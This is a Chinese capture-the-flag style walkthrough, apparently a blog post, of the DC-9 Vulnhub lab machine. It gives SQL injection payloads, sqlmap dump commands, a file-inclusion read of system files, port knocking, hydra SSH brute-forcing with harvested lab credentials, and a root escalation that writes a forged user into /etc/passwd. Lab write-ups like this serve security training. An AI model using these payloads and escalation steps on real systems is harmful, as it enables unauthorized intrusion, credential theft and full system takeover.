IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> dc-9 靶机渗透学习 -> 正文阅读

[网络协议]dc-9 靶机渗透学习

信息收集

用nmap扫描当前网段

nmap -sP 192.168.202.0/24

对靶机进行端口扫描

nmap -A -p- -v 192.168.202.148

访问靶机的80端口,进行框架识别

无框架的页面,尝试web服务漏洞,用dirsearch进行扫描,没有发现可利用的文件。

漏洞利用

?尝试从页面模块处寻找漏洞,发现在search的地方存在SQL注入漏洞。

测试过程

通常我们测试SQL注入漏洞都是输入一个单引号或者双引号,根据返回的报错信息判断是否存在SQL注入。但在这里就行不通了,web服务器屏蔽了报错信息。

?

这个时候闭合形式没法判断,那么只能盲测一波。同时因为报错信息被屏蔽了,order by也使用不了。只能用union select来判断,首先盲猜为单引号闭合。

-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1' union select 1,2,3,4#
-1' union select 1,2,3,4,5#
-1' union select 1,2,3,4,5,6#

因为union要求前后必须列数相同,无法通过order by来判断web服务器查询结果的列数,只能用union select进行盲测。如果出现了数据,就可判断存在SQL注入漏洞。

其实还有一种方法可以验证存在SQL注入漏洞,就是直接输入1' or 1=1#来爆出数据库的所有字段

web服务器构造向mysql数据库查询语句可能是

select * from users(表名) where ID='$search'

?那么代入我们的1' or 1=1#就变成了下面的形式

select * from users where ID='1' or 1=1#'

根据mysql的语法,由于#是注释符,后面的'会被注释掉,所以上面的语句就相当于

?select * from users where ID='1' or 1=1

我们都知道where在mysql中相当于判断语句,判断'1' or 1=1是否为真。因为是由or连接,所以'1'和1=1中有一个真则为真。1=1肯定是真的,所以上面的语句又等价于

??select * from users?

?所以这个1' or 1=1#可以爆出数据库的所有字段

?

?

sqlmap爆数据库

后面的就交给sqlmap来进行了,因为是POST发送数据,所以有两种方法实现POST注入。

第一种

使用sqlmap的--data指定参数为search

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' --dbs --batch

?接着就是爆库、爆表、爆字段........

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff --tables --batch 
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users --columns --batch
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users -C Username,Password --dump --batch 

可以看到当前数据库中有个admin

?拿去MD5解密得到密码

?得到

admin

transorbital1

还有一个users数据库里面也存在账号密码,暂时还没用到

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D users -T UserDetails -C username,password --dump --batch

第二种

使用bp联合sqlmap实现注入,将bp中请求数据包放入1.txt里面

?然后使用sqlmap的-r参数调用该文本

sqlmap  -r 1.txt --dbs --batch

?大致步骤也和上面的一样。

登录账号

在Manage部分用账号密码登录,发现下面黑色部分有File does not exist,猜测可能存在文件包含

?

测试一波发现确实存在文件包含漏洞,../是返回上一级目录。

为什么dc-5直接包含/etc/passwd就成功了呢?我认为是dc-9对文件包含的范围做了限制,只允许包含当前目录。所以需要../来返回到根目录下,再包含/etc/passwd。

?结合刚刚数据库读到的一些用户信息,接下来使用hydra来ssh爆破,说一下如何快速将sqlmap爆出的用户和密码导入文件中。

将白色部分进行复制,粘贴进2.txt里面

?使用awk命令将用户名导入admin.txt里面?

Linux awk 命令 | 菜鸟教程 (runoob.com)

awk -F "|" '{print $2}' 2.txt

awk -F "|" '{print $2}' 2.txt >admin.txt

?将用户名放入admin.txt后,会发现用户名前面有个空格,需要去掉。

vim admin.txt
:%s/ ///g

%是整个缓冲数据,即整个文本

s/查找的字符/替换的字符/

g是全部替换

vim命令大全 - 知乎 (zhihu.com)?

导入密码也是和上面的一样,完成之后就可以进行hydra爆破,但是你会发现ssh拒绝连接。

具体原因是靶机使用了knockd进行防护

这个knockd.conf是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,
也可以直接用nc敲击端口。

简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的,我们可以下载knock来开启远程端口。

通过刚刚的文件包含读取/etc/knockd.conf

按照要求的顺序敲击端口

nc 192.168.202.148 7469
nc 192.168.202.148 8475
nc 192.168.202.148 9842

?再进行ssh爆破

hydra -L admin.txt -P pass.txt ssh://192.168.202.148

?得到三个账号密码

chandlerb? ?UrAG0D!
joeyt? ? ? ? ? ?Passw0rd
janitor? ? ? ? ?Ilovepeepee

?

提权

登录ssh

ssh chandlerb@192.168.202.148

进入chandlerb和joeyt用户查看了一下隐藏文件,没有发现什么有用的东西,各种提权也试了一下,结果不行。

ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)

在janitor用户中发现了.secrets-for-putin有个passwords文件,里面含有密码

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts?

?放到pass.txt里面继续爆破,发现多了一个用户

?fredf? ? B4-Tru3-001

登录fredf后,继续进行提权。尝试SUID提权,没发现可以用于提权的命令

find / -perm -4000 -print 2>/dev/null

查看免密可用的root级别命令,发现有个/opt/devstuff/dist/test/test可用使用?

sudo -l

进入test所在目录下使用

cd /opt/devstuff/dist/test/
./test

?提示我们要使用test.py,那么寻找一下test.py?

find / -name test.py -print 2>/dev/null

查看test.py

cat /opt/devstuff/test.py

?对代码审计一下

先判断是否有三个参数,没有的话输出提示,然后停止执行

第一个参数为要读取内容

第二个参数将读取的内容写到指定文件

那我们可用构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中,即可成功拿下!

passwd文件每一行的格式如下:

用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell

?我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

openssl passwd -1 -salt hack 123456

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败。

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack

最后运行脚本,切换用户得到root权限。?

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
sudo ./test /tmp/hack /etc/passwd

?

su hack

后面补充点自己看的知识

shadow文件

shadow文件中第二列的格式,它是加密后的密码,它有些玄机,不同的特殊字符表示特殊的意义

1. 该列留空,即"::",表示该用户没有密码。
2. 该列为"!",即":!:",表示该用户被锁,被锁将无法登陆,
   但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。
3. 该列为"",即"::",也表示该用户被锁,和"!“效果是一样的。
4. 该列以”!“或”!!“开头,则也表示该用户被锁。
5. 该列为”!!",即":!!:",表示该用户从来没设置过密码。
6. 如果格式为"$id$salt$hashed",则表示该用户密码正常。其中?$id$的id表示密码的加密算法,
   $1$表示使用MD5算法,$2a$表示使用Blowfish算法,
   "$2y$“是另一算法长度的Blowfish,”$5$“表示SHA-256算法,而”$6$"表示SHA-512算法,
    
  目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。
  $salt$是加密时使用的salt,hashed才是真正的密码部分。

参考文章?

DC9-靶机_Au.J的博客-CSDN博客

vulnhub-DC9靶机 - xinZa1

Sqlmap全参数详解_breezeO_o的博客-CSDN博客_ospf协议配置

vim命令大全 - 知乎 (zhihu.com)

ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)

Linux awk 命令 | 菜鸟教程 (runoob.com)

编辑/etc/passwd文件进行权限升级的技巧 - 渗透测试中心 - 博客园 (cnblogs.com)

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 19:06:09  更:2022-03-30 19:09:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 5:27:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码